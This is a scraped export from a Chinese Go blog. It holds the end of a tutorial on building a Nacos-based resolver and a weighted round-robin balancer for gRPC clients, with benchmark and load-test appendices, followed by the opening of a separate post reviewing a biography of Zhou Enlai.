cacheDir:\u0026lt;/Users/tonybai/go/src/github.com/bigwhite/experiments/grpc-client/demo3/greeter_client/cache\u0026gt; 2021/09/12 06:08:25 Greeting: Hello world-1 2021/09/12 06:08:27 Greeting: Hello world-2 2021/09/12 06:08:29 Greeting: Hello world-3 2021/09/12 06:08:31 Greeting: Hello world-4 2021/09/12 06:08:33 Greeting: Hello world-5 2021/09/12 06:08:35 Greeting: Hello world-6 ... ... 由于采用了round robin负载策略，greeter_server侧每个server(权重都为1)都会平等的收到rpc请求：\n06:06:36 demo3-server1 | 2021/09/12 06:06:36 Received: world-1 06:06:38 demo3-server3 | 2021/09/12 06:06:38 Received: world-2 06:06:40 demo3-server2 | 2021/09/12 06:06:40 Received: world-3 06:06:42 demo3-server1 | 2021/09/12 06:06:42 Received: world-4 06:06:44 demo3-server3 | 2021/09/12 06:06:44 Received: world-5 06:06:46 demo3-server2 | 2021/09/12 06:06:46 Received: world-6 ... ... 这时我们可以通过nacos dashboard调整demo3-service的实例权重或下线某个实例，比如下线service instance-2(端口50052)，之后我们会看到greeter_client回调函数执行，之后greeter_server侧将只有实例1和实例3收到rpc请求。重新上线service instance-2后，一切会恢复正常。\n3. 自定义客户端balancer 现实中服务端的实例所部署的主机(虚拟机/容器)算力可能不同，如果所有实例都使用相同权重1，那么肯定是不科学且存在算力浪费。但grpc-go内置的balancer实现有限，不能满足我们需求，我们就需要自定义一个可以满足我们需求的balancer了。\n这里我们以自定义一个Weighted Round Robin(wrr) Balancer为例，看看自定义balancer的步骤（我们参考grpc-go中内置round_robin的实现）。\n和resolver包相似，balancer也是通过一个Builder(创建模式)来实例化的，并且balancer的Balancer接口与resolver.Balancer差不多：\n// github.com/grpc/grpc-go/balancer/balancer.go // Builder creates a balancer. type Builder interface { // Build creates a new balancer with the ClientConn. Build(cc ClientConn, opts BuildOptions) Balancer // Name returns the name of balancers built by this builder. // It will be used to pick balancers (for example in service config). Name() string } 通过Builder.Build方法我们构建一个Balancer接口的实现，Balancer接口定义如下：\n// github.com/grpc/grpc-go/balancer/balancer.go type Balancer interface { // UpdateClientConnState is called by gRPC when the state of the ClientConn // changes. If the error returned is ErrBadResolverState, the ClientConn // will begin calling ResolveNow on the active name resolver with // exponential backoff until a subsequent call to UpdateClientConnState // returns a nil error. Any other errors are currently ignored. UpdateClientConnState(ClientConnState) error // ResolverError is called by gRPC when the name resolver reports an error. ResolverError(error) // UpdateSubConnState is called by gRPC when the state of a SubConn // changes. UpdateSubConnState(SubConn, SubConnState) // Close closes the balancer. The balancer is not required to call // ClientConn.RemoveSubConn for its existing SubConns. Close() } 可以看到，Balancer要比Resolver要复杂很多。gRPC的核心开发者们也看到了这一点，于是他们提供了一个可简化自定义Balancer创建的包：google.golang.org/grpc/balancer/base。gRPC内置的round_robin Balancer也是基于base包实现的。\nbase包提供了NewBalancerBuilder可以快速返回一个balancer.Builder的实现：\n// github.com/grpc/grpc-go/balancer/base/base.go // NewBalancerBuilder returns a base balancer builder configured by the provided config. func NewBalancerBuilder(name string, pb PickerBuilder, config Config) balancer.Builder { return \u0026amp;baseBuilder{ name: name, pickerBuilder: pb, config: config, } } 我们看到，这个函数接收一个参数：pb，它的类型是PikcerBuilder，这个接口类型则比较简单：\n// github.com/grpc/grpc-go/balancer/base/base.go // PickerBuilder creates balancer.Picker. type PickerBuilder interface { // Build returns a picker that will be used by gRPC to pick a SubConn. Build(info PickerBuildInfo) balancer.Picker } 我们仅需要提供一个PickerBuilder的实现以及一个balancer.Picker的实现即可，而Picker则是仅有一个方法的接口类型：\n// github.com/grpc/grpc-go/balancer/balancer.go type Picker interface { Pick(info PickInfo) (PickResult, error) } 嵌套的有些多，我们用下面这幅图来直观看一下balancer的创建和使用流程：\n再简述一下大致流程：\n首先要注册一个名为”my_weighted_round_robin”的balancer Builder:wrrBuilder，该Builder由base包的NewBalancerBuilder构建； base包的NewBalancerBuilder函数需要传入一个PickerBuilder实现，于是我们需要自定义一个返回Picker接口实现的PickerBuilder。 grpc.Dial调用时传入一个WithBalancerName(“my_weighted_round_robin”)，grpc通过balancer Name从已注册的balancer builder中选出我们实现的wrrBuilder，并调用wrrBuilder创建Picker：wrrPicker。 在grpc实施rpc调用SayHello时，wrrPicker的Pick方法会被调用，选出一个Connection，并在该connection上发送rpc请求。 由于用到的权重值，我们的resolver实现需要做一些变动，主要是在doResolve方法时将service instance的权重(weight)通过Attribute设置到ClientConnection中：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo4/greeter_client/resolver.go func (r *NacosResolver) doResolve(opts resolver.ResolveNowOptions) { instances, err := r.namingClient.SelectAllInstances(vo.SelectAllInstancesParam{ ServiceName: r.serviceName, GroupName: r.group, }) if err != nil { fmt.Println(err) return } if len(instances) == 0 { fmt.Printf(\u0026#34;service %s has zero instance\\n\u0026#34;, r.serviceName) return } // update cc.States var addrs []resolver.Address for i, inst := range instances { if (!inst.Enable) || (inst.Weight == 0) { continue } addr := resolver.Address{ Addr: fmt.Sprintf(\u0026#34;%s:%d\u0026#34;, inst.Ip, inst.Port), ServerName: fmt.Sprintf(\u0026#34;instance-%d\u0026#34;, i+1), } addr.Attributes = addr.Attributes.WithValues(\u0026#34;weight\u0026#34;, int(inst.Weight)) //考虑权重并纳入cc的状态中 addrs = append(addrs, addr) } if len(addrs) == 0 { fmt.Printf(\u0026#34;service %s has zero valid instance\\n\u0026#34;, r.serviceName) } newState := resolver.State{ Addresses: addrs, } r.Lock() r.cc.UpdateState(newState) r.Unlock() } 接下来我们重点看看greeter_client中wrrPickerBuilder与wrrPicker的实现：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo4/greeter_client/balancer.go type wrrPickerBuilder struct{} func (*wrrPickerBuilder) Build(info base.PickerBuildInfo) balancer.Picker { if len(info.ReadySCs) == 0 { return base.NewErrPicker(balancer.ErrNoSubConnAvailable) } var scs []balancer.SubConn // 提取已经就绪的connection的权重信息，作为Picker实例的输入 for subConn, addr := range info.ReadySCs { weight := addr.Address.Attributes.Value(\u0026#34;weight\u0026#34;).(int) if weight \u0026lt;= 0 { weight = 1 } for i := 0; i \u0026lt; weight; i++ { scs = append(scs, subConn) } } return \u0026amp;wrrPicker{ subConns: scs, // Start at a random index, as the same RR balancer rebuilds a new // picker when SubConn states change, and we don\u0026#39;t want to apply excess // load to the first server in the list. next: rand.Intn(len(scs)), } } type wrrPicker struct { // subConns is the snapshot of the roundrobin balancer when this picker was // created. The slice is immutable. Each Get() will do a round robin // selection from it and return the selected SubConn. subConns []balancer.SubConn mu sync.Mutex next int } // 选出一个Connection func (p *wrrPicker) Pick(info balancer.PickInfo) (balancer.PickResult, error) { p.mu.Lock() sc := p.subConns[p.next] p.next = (p.next + 1) % len(p.subConns) p.mu.Unlock() return balancer.PickResult{SubConn: sc}, nil } 这是一个简单的Weighted Round Robin实现，加权算法十分简单，如果一个conn的权重为n，那么就在加权结果集中加入n个conn，这样在后续Pick时不需要考虑加权的问题，只需向普通Round Robin那样逐个Pick出来即可。\n运行demo4 greeter_server后，我们在nacos将instance-1的权重改为5，我们后续就会看到如下输出：\n$goreman start 09:20:18 demo4-server3 | Starting demo4-server3 on port 5200 09:20:18 demo4-server2 | Starting demo4-server2 on port 5100 09:20:18 demo4-server1 | Starting demo4-server1 on port 5000 09:20:18 demo4-server2 | 2021-09-12T09:20:18.633+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/tmp/nacos/log/50052\u0026gt; cacheDir:\u0026lt;/tmp/nacos/cache/50052\u0026gt; 09:20:18 demo4-server1 | 2021-09-12T09:20:18.633+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/tmp/nacos/log/50051\u0026gt; cacheDir:\u0026lt;/tmp/nacos/cache/50051\u0026gt; 09:20:18 demo4-server3 | 2021-09-12T09:20:18.633+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/tmp/nacos/log/50053\u0026gt; cacheDir:\u0026lt;/tmp/nacos/cache/50053\u0026gt; 09:20:23 demo4-server2 | 2021/09/12 09:20:23 Received: world-1 09:20:25 demo4-server3 | 2021/09/12 09:20:25 Received: world-2 09:20:27 demo4-server1 | 2021/09/12 09:20:27 Received: world-3 09:20:29 demo4-server2 | 2021/09/12 09:20:29 Received: world-4 09:20:31 demo4-server3 | 2021/09/12 09:20:31 Received: world-5 09:20:33 demo4-server1 | 2021/09/12 09:20:33 Received: world-6 09:20:35 demo4-server2 | 2021/09/12 09:20:35 Received: world-7 09:20:37 demo4-server3 | 2021/09/12 09:20:37 Received: world-8 09:20:39 demo4-server1 | 2021/09/12 09:20:39 Received: world-9 09:20:41 demo4-server2 | 2021/09/12 09:20:41 Received: world-10 09:20:43 demo4-server1 | 2021/09/12 09:20:43 Received: world-11 09:20:45 demo4-server2 | 2021/09/12 09:20:45 Received: world-12 09:20:47 demo4-server3 | 2021/09/12 09:20:47 Received: world-13 //这里将权重改为5后 09:20:49 demo4-server1 | 2021/09/12 09:20:49 Received: world-14 09:20:51 demo4-server1 | 2021/09/12 09:20:51 Received: world-15 09:20:53 demo4-server1 | 2021/09/12 09:20:53 Received: world-16 09:20:55 demo4-server1 | 2021/09/12 09:20:55 Received: world-17 09:20:57 demo4-server1 | 2021/09/12 09:20:57 Received: world-18 09:20:59 demo4-server2 | 2021/09/12 09:20:59 Received: world-19 09:21:01 demo4-server3 | 2021/09/12 09:21:01 Received: world-20 09:21:03 demo4-server1 | 2021/09/12 09:21:03 Received: world-21 注意：每次nacos的service instance发生变化后，balancer都会重新build一个新Picker实例，后续会使用新Picker实例在其Connection集合中Pick出一个conn。\n4. 小结 在本文中我们了解了gRPC的四种通信模式。我们重点关注了在最常用的simple RPC(unary RPC)模式下gRPC Client侧需要考虑的事情，包括：\n如何实现一个helloworld的一对一的通信 如何实现一个自定义的Resolver以实现一个client到一个静态服务实例集合的通信 如何实现一个自定义的Resolver以实现一个client到一个动态服务实例集合的通信 如何自定义客户端Balancer 本文代码仅做示例使用，并未考虑太多异常处理。\n本文涉及的所有代码可以从这里下载：https://github.com/bigwhite/experiments/tree/master/grpc-client\n5. 参考资料 gRPC Name Resolution – https://github.com/grpc/grpc/blob/master/doc/naming.md Load Balancing in gRPC – https://github.com/grpc/grpc/blob/master/doc/load-balancing.md 基于 gRPC的服务发现与负载均衡（基础篇）- https://pandaychen.github.io/2019/07/11/GRPC-SERVICE-DISCOVERY/ 比较 gRPC服务和HTTP API – https://docs.microsoft.com/zh-cn/aspnet/core/grpc/comparison 6. 附录 1) json vs. protobuf编解码性能基准测试结果 测试源码位于这里：https://github.com/bigwhite/experiments/tree/master/grpc-client/grpc-vs-httpjson/codec\n我们使用了Go标准库json编解码、字节开源的sonic json编解码包以及minio开源的simdjson-go高性能json解析库与protobuf作对比的结果如下：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/codec cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkSimdJsonUnmarshal-8 43304 28177 ns/op 113209 B/op 19 allocs/op BenchmarkJsonUnmarshal-8 153214 7187 ns/op 1024 B/op 6 allocs/op BenchmarkJsonMarshal-8 601590 2057 ns/op 2688 B/op 2 allocs/op BenchmarkSonicJsonUnmarshal-8 1394211 861.1 ns/op 2342 B/op 2 allocs/op BenchmarkSonicJsonMarshal-8 1592898 765.2 ns/op 2239 B/op 4 allocs/op BenchmarkProtobufUnmarshal-8 3823441 317.0 ns/op 1208 B/op 3 allocs/op BenchmarkProtobufMarshal-8 4461583 274.8 ns/op 1152 B/op 1 allocs/op PASS ok github.com/bigwhite/codec 10.901s benchmark测试结果印证了protobuf的编解码性能要远高于json编解码。但是在benchmark结果中，一个结果让我很意外，那就是号称高性能的simdjson-go的数据难看到离谱。谁知道为什么吗？simd指令没生效？字节开源的sonic的确性能很好，与pb也就2-3倍的差距，没有数量级的差距。\n2) gRPC(insecure) vs. json over http 测试源码位于这里：https://github.com/bigwhite/experiments/tree/master/grpc-client/grpc-vs-httpjson/protocol\n使用ghz对gRPC实现的server进行压测结果如下：\n$ghz --insecure -n 100000 -c 500 --proto publish.proto --call proto.PublishService.Publish -D data.json localhost:10000 Summary: Count: 100000 Total: 1.67 s Slowest: 48.49 ms Fastest: 0.13 ms Average: 6.34 ms Requests/sec: 59924.34 Response time histogram: 0.133 [1] | 4.968 [40143] |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎ 9.803 [47335] |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎ 14.639 [11306] |∎∎∎∎∎∎∎∎∎∎ 19.474 [510] | 24.309 [84] | 29.144 [89] | 33.980 [29] | 38.815 [3] | 43.650 [8] | 48.485 [492] | Latency distribution: 10 % in 3.07 ms 25 % in 4.12 ms 50 % in 5.49 ms 75 % in 7.94 ms 90 % in 10.24 ms 95 % in 11.28 ms 99 % in 15.52 ms Status code distribution: [OK] 100000 responses 使用hey对使用fasthttp与sonic实现的http server进行压测结果如下：\n$hey -n 100000 -c 500 -m POST -D ./data.json http://127.0.0.1:10001/ Summary: Total: 2.0012 secs Slowest: 0.1028 secs Fastest: 0.0001 secs Average: 0.0038 secs Requests/sec: 49969.9234 Response time histogram: 0.000 [1] | 0.010 [96287] |■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ 0.021 [2639] |■ 0.031 [261] | 0.041 [136] | 0.051 [146] | 0.062 [128] | 0.072 [43] | 0.082 [24] | 0.093 [10] | 0.103 [4] | Latency distribution: 10% in 0.0013 secs 25% in 0.0020 secs 50% in 0.0031 secs 75% in 0.0040 secs 90% in 0.0062 secs 95% in 0.0089 secs 99% in 0.0179 secs Details (average, fastest, slowest): DNS+dialup: 0.0000 secs, 0.0001 secs, 0.1028 secs DNS-lookup: 0.0000 secs, 0.0000 secs, 0.0000 secs req write: 0.0000 secs, 0.0000 secs, 0.0202 secs resp wait: 0.0031 secs, 0.0000 secs, 0.0972 secs resp read: 0.0005 secs, 0.0000 secs, 0.0575 secs Status code distribution: [200] 99679 responses 我们看到：gRPC的性能（Requests/sec: 59924.34）要比http api性能(Requests/sec: 49969.9234)高出20%。\n3) nacos docker安装 单机容器版nacos安装步骤如下：\n$git clone https://github.com/nacos-group/nacos-docker.git $cd nacos-docker $docker-compose -f example/standalone-derby.yaml up nacos相关容器启动成功后，可以打开浏览器访问http://localhost:8848/nacos，打开nacos仪表盘登录页面，输入nacos/nacos即可进入nacos web操作界面。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/09/17/those-things-about-grpc-client/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/those-things-about-grpc-client-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/09/17/those-things-about-grpc-client\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/09/17/those-things-about-grpc-client\"\u003ehttps://tonybai.com/2021/09/17/those-things-about-grpc-client\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在云原生与微服务主导架构模式的时代，内部服务间交互所采用的通信协议选型无非就是两类：HTTP API(RESTful API)和RPC。在如今的硬件配置与网络条件下，现代RPC实现的性能一般都是好于HTTP API的。我们以json over http与\u003ca href=\"https://grpc.io\"\u003egRPC\u003c/a\u003e(insecure)作比较，分别使用\u003ca href=\"https://github.com/bojand/ghz\"\u003eghz\u003c/a\u003e和\u003ca href=\"https://github.com/rakyll/hey\"\u003ehey\u003c/a\u003e压测gRPC和json over http的实现，gRPC的性能（Requests/sec: 59924.34）要比http api性能(Requests/sec: 49969.9234)高出20%。实测gPRC使用的protobuf的编解码性能更是最快的json编解码的2-3倍，是Go标准库json包编解码性能的10倍以上(具体数据见本文附录)。\u003c/p\u003e","title":"gRPC客户端的那些事儿"},{"content":"本文永久链接 – https://tonybai.com/2021/09/15/getting-closer-to-zhou-enlai\n不写书评/读后感，那是没有遇到真正让你内心感动的书！\n实际上我并没有读这本书，而是在连续一周多的驾车途中通过“微信读书”将这本书听完的。\n虽然是听书，并且听的还是AI机器人的播讲，但书中记录的那份真实且炽热的情感却无法隐匿在AI机器人那稍有些怪异的声线中。几乎每天都有书中的情节让我在途中泪目。\n好了，不卖关子了。这本书就是权延赤的纪实文学作品《走近周恩来》(封面如下图)。\n本书的主人公是我们敬爱的开国总理，建国后在总理这个岗位上为人民、为国家操劳26年的周恩来。\n这本书的主要内容来自对1940年来跟随周恩来的警卫、副官、秘书等的采访，作者以“何树英”这个名字来指代这些在总理身边工作的人。正如本书作者所说，这是一本纪实文学，不是档案资料，有些地方是有文学加工的并有作者自己的观点掺杂于其中。但这完全不妨碍对总理光辉一生的真实展现。\n作为普通老百姓，我无法站在历史的高度用那些高大上的词汇来概括周总理伟大的一生。这里就结合2018年习大大在“纪念周恩来同志诞辰120周年座谈会上的讲话”中对周总理的客观评价（作为子标题）以及书中内容，让我们重新认识一下周恩来。\n“实事求是”的自我认知 周恩来在革命战争期间所做出的伟大贡献以及建国后26年的总理生涯均受益于周恩来实事求是地自我认知。\n下面内容摘自书中：\n在一次涉及人事分工的会议上，毛泽东望着周恩来：“恩来同志，你来怎么样？”周恩来摆手：“不行不行，主席，你是了解我的，我不是帅才。我理理家可以，做不了帅……”。\n“我不是帅才”这是周恩来在多年工作实践之后对自己的自我认知。周恩来知道自己不能逞匹夫之勇地去争取最高权力，去拿中国革命的前途当赌注。从南昌起义到遵义会议，周恩来的持续的自我反省让他认识到毛泽东才是中国革命道路上那个唯一的领袖，于是在遵义会议上全力推荐毛泽东领导中国革命的“枪杆子”。用本书作者的话：“这一切都不能叫作伟大的谦让，而是伟大的自知之明和知人之明”。一个人“最大的勇敢莫过于看清事实且敢于实事求是”。\n遵义会议后，明确了自我定位、明确了未来方向的周恩来甘愿做好中国革命的大管家，一心一意辅佐毛泽东，让毛泽东专注于思考中国革命的未来道路和实现战略，而他则将日常琐事包揽于身。\n周恩来自我认知与知人之明的另外一个典型事例是对邓小平的评价：\n“从愿望上说，我更欣赏小平同志的‘举重若轻’，但说实在话，我这个人做不到这一点。我同伯承同志一样，在工作上常常是‘举轻若重’。这也许是同我长期负责具体的执行工作有关吧……”。\n周对邓的欣赏也体现在其晚年力荐邓小平接班中央核心工作，为中共第二代领导核心的形成贡献了自己的一份力量。\n现在看来，敢于“实事求是”的自我认知是周恩来伟大一生的基础与前提，也成就了中国共产党领导核心的优良传承。\n不忘初心、坚守信仰的杰出楷模 周恩来从小立志“为中华之崛起而读书”，这颗种子深深扎根在周的心中。青年时期的周恩来更是坚定了“革命理想高于天”，这一信仰直接决定了周日后的思想路径和重大人生行为。\n坚守信仰的周恩来在面临两次配偶选择时，都坚定的站在了“一切有利于革命斗争”原则的一边。\n第一次是南开中学前身严氏学塾的校长严修十分器重周恩来的人品和才学，经过长期观察，慎重考虑，决定将自己的女儿嫁给周恩来，并亲自托人向周恩来提亲。但年轻的周恩来却很有礼貌地婉辞了这次提亲。周恩来当时的想法是：“我是个穷学生，刚入学时，学习和生活费用靠伯父支持，现在虽然靠成绩好，做了免费生，生活费用还要靠自己解决。以我这种情况，假如和严家结了亲，我的前途一定会受严家支配。所以我辞却了这门亲事”。周恩来的这次拒绝在常人看来很难理解，但是如果从周恩来始终秉持的“救国抱负和自尊自强”来看，这一切显得又十分正常。\n第二次是在周恩来在法国勤工俭学期间，周恩来曾经有一位比较亲近的朋友，是个漂亮的姑娘。然而，好朋友未必适合做妻子。一旦作为婚姻来考虑，这位漂亮的姑娘就不行了。因为她仅仅是同情革命，而周恩来需要的是“能一辈子从事革命”，“能经受革命的艰难险阻和惊涛骇浪”的伴侣。于是周恩来对这第二位候选配偶做出了否定的决定。\n后来的事情大家都知道了，周恩来在法国期间就物色好了那个“能一辈子从事革命”，“能经受革命的艰难险阻和惊涛骇浪”的伴侣，那就是邓颖超同志，他们通过书信来往确定了恋爱关系，并从此相伴革命的一生。\n周恩来对信仰的那种坚守足以让人泪目。下面是书中的一段文字，各位读者自行体会：\n医生替总理注射了杜冷丁。片刻，总理稍稍喘息平稳。他两眼淡漠地望着天花板，像是凝思。忽然，那眼里闪了一下亮，转向我们：“拿、拿《国际歌》，放、放一放……”我们忙找出《国际歌》的歌片，为他播放。当那磅礴的旋律盈满一室时，总理的嘴唇分明在翕动，在吟唱！这是总理生前最后一次听歌，最后一次唱歌。这支歌是《国际歌》。连放三遍，总理对守在身边的邓颖超说：“我坚信全世界共产主义一定能实现。团结起来到明天，英特纳雄耐尔就一定要实现。”他讲这个话的声音很细微，给我的震动却很大。他已近弥留阶段，最后唱这支歌，显示了真正不移的信仰。人生尽可信仰不同，能够为信仰奋斗终生，奉献一切，那么，就连他的敌人也会为他的人格肃然起敬。许多资产阶级政治家、理论家、学者，就是由于这个原因，在周恩来死后，也对他表示了极大的哀悼和敬意！\n对党忠诚、维护大局的杰出楷模 虽因远在欧洲没能参加中共一大，但周恩来是中国共产党最早的党员之一，参与发起成立中国共产党的活动。无论后来的革命时期自身身处之地有多危险，革命之路有多么坎坷，周恩来从没有失去信念与对党的忠诚。\n周恩来始终从党内大局出发考虑问题，即便是自身遭到严厉批评，工作遭遇严重挫折，心里十分难过的情况下，他首先考虑到的依旧是党内大局的团结。下面是书中提到的一个典型的例子：\n由于周恩来和陈云指示报纸社论提出“反冒进”，激怒了毛泽东。他认为“反冒进”就是右倾保守，就是给社会主义建设的热情泼冷水，就是不要发展生产的高速度，因此在会上会下多次严厉批评“反冒进”，不许再这样提，再这样提就是右倾。于是，周恩来也会上会下地多次作检查。那天，周恩来把他的理论秘书范若愚找去了，请他帮助写检查。范若愚从周恩来那里回来后，脸色很沉重。过了几天，我们才知道，周恩来对他谈了毛泽东批评“反冒进”的事。总理心里很难过，有几次谈到伤心处，眼里都含了泪。周恩来躲不开，他是总理，而且必须配合毛泽东搞工作，为大局为团结，他只能作检讨。党内公认总理的组织观念最强，从不犯自由主义。我们这些身边的工作人员还没听到过他背后议论哪位同志的缺点，总是讲这个人有什么什么长处，那个人如何如何好，有什么什么贡献。对于缺点错误，他坚持当面提或公开讲。这次为了“反冒进”而挨批评的事，他也一样不议论不提别人有什么“错误”，只谈自己的“错误”，谈自己的担心和苦恼，找认识上的差距，设法跟上毛主席的想法。\n热爱人民、勤政为民的杰出楷模 周恩来从立志走上革命道路为共产主义奋斗一生那一天起，他就知道了自己的一生一定不仅是属于自己的，更是属于国家、属于民族和人民的。在这本书中，总理“勤政为民”的事例比比皆是。如果说周恩来是有史以来第二繁忙的中国共产党人，估计没人敢说自己是第一。就连国内国外许多有名有影响的人都著文说：“无疑，周恩来是这个世界上工作最忙、工作最多的一个人。”\n下面是书中反映总理工作繁忙程度的一些段落摘录：\n“正常情况下，总理的睡眠时间也往往只有三四个小时。在那长达十几小时的连续劳作中，给我们留下的印象不但有精力超人，更有坚持和苦撑的感人毅力”\n我跟随总理几十年，听惯了他的一句口头禅：“你们不要怕我忙嘛，我不怕忙你们怕什么？我能忙过来。”\n我曾目睹周恩来连续工作一星期，只休息了13个小时。这是当时的总理卫士长成元功同志一分一秒计算出来的，从总理上床计时，到起床止，不论是否睡着，累计躺下休息13个小时。就这样的劳作，总理仍是笑着说：“不要紧，我能忙过来。”他出访亚非十四国时，我们一分一秒算计，他平均每天睡眠只有两个小时，却仍然精神抖擞地说：“我可以，我不怕忙。”\n他工作太投入，处于一种忘我的境界，所以疲劳开始袭来时，他并不自觉，完全是出于生理上的自卫本能，打个哈欠或抬起头做一下深呼吸。疲劳在悄悄加重，终于影响到办公效率，并且迫使他不得不一次又一次抬起头来深呼吸。这时，他意识到累，第一个反应就是大口大口喝浓茶，以刺激渐渐麻木的神经重新兴奋起来。这样坚持一段后，似乎茶碱已失去效力，总理会烦躁地突然站起身，围绕办公桌快速地走几圈，并配合着揉揉眼窝和太阳穴，然后坐下继续办公。他终于感到这样也不解决问题了，便拿起办公桌上放的那件“宝”，打开铁盒，用手指擦点清凉油，抹在额头和太阳穴上。这时，仿佛冥冥中有什么心灵感应，邓大姐会出现在总理办公室的门口，悄悄地在门外转圈，忧虑而心疼地朝里面伏案劳作的总理投去一瞥又一瞥。她轻易不进总理办公室，不去干预总理的公事，这是结婚时就有的协议。总理的办公室有三把钥匙：一把在警卫手中，警卫交接班时，钥匙属于交接内容之一；另一把在秘书手中，一般是放在机要秘书那里；总理自己有一把，睡觉时放枕下，起床时揣兜里，从来不离身。邓大姐没有钥匙，总理不在，她就进不了办公室；总理在，她也极少走进去，在门口转了一阵，终于向着门里轻轻唤一声：“恩来呀，该休息一会儿了。”总理掀起眼皮，目光从镜框上方望一眼邓颖超，点点头，却马上又伏进了文件堆，继续他的批阅修改。这样又坚持一段时间后，疲劳便达到了难以克服的地步，眼皮会不知不觉地耷拉下来，手中的笔在总理瞬间的迷糊瞌睡中，在文件上留下一些点或道的墨迹。出现几次这样瞬间的迷糊瞌睡，总理会痛苦地拍拍额头，搓搓脸，猛地丢下笔，朝后仰身靠在椅背上，大声吩咐：“给我一条热毛巾！”一边用热毛巾拼命地擦脸，揉眼窝，一边继续批阅文件。总理是在尽力聚集全身仅存的一点热能，投入劳作中去。这样坚持一会儿，又会大声吩咐：“谁有烟？给我一支烟吸。”\n1973年6月上旬的一天(这时周恩来已经被查出膀胱癌，处于治疗期间)，周恩来已是三十多个小时没合眼。究竟处理了多少文件，接待了多少人，恐怕秘书也算不清楚。夜里一点多，似乎他老人家该歇口气了，秘书却看着手表提醒：“总理，还有14分钟。”“唔，你们做准备，我刮个胡子。”我看到周恩来往起站时，已经十分吃力，用双臂撑着才站起来；他的手抖颤不止，身体晃了晃才站稳，然后竭力用平时惯有的那种快步朝卫生间走去。….. 总理“失踪”了！正有些慌乱，忽然有人说：“哎呀，总理不是说要刮胡子吗？”总理要是用电动剃须刀，不会耽误这么久，因为他常是拿着刀上车，在车上顺便就刮了胡子。想到总理的胡子又多又硬，稍长点电动剃须刀就刮不动了，我就忙朝卫生间找。他也许见电动剃须刀刮不动又用了安全刀片呢……我在前面走，后面跟了几个人。进门的一刹那，所有人都怔住了：不会说，不会动，甚至停止了呼吸。唉，我们的总理哟！他垂落的左手下，有一条面巾；他微屈的右臂，手里仍虚握着沾有肥皂沫和胡子茬的刮脸刀，他就歪在镜子前边睡着了！他英俊的面孔曾使所有的中国人为之骄傲，现在却变得那么瘦削灰黄；他的眉毛依然威武，双唇仍然露出善良和慈爱，可是他的眼窝却是深深地、深深地沉陷了下去……。\n一些很有研究的医生对我讲，像总理那样的劳心劳力，鞠躬尽瘁，换其他任何人也不会活得比诸葛亮长。“总理是累死的。如果做一项试验，选10万人在总理那样的重负下经受总理那样的劳作，不出一年会倒下1万，不出5年会倒下3万……”\n周恩来是不折不扣地勤政为民的伟大践行者!\n严于律己、清正廉洁的杰出楷模 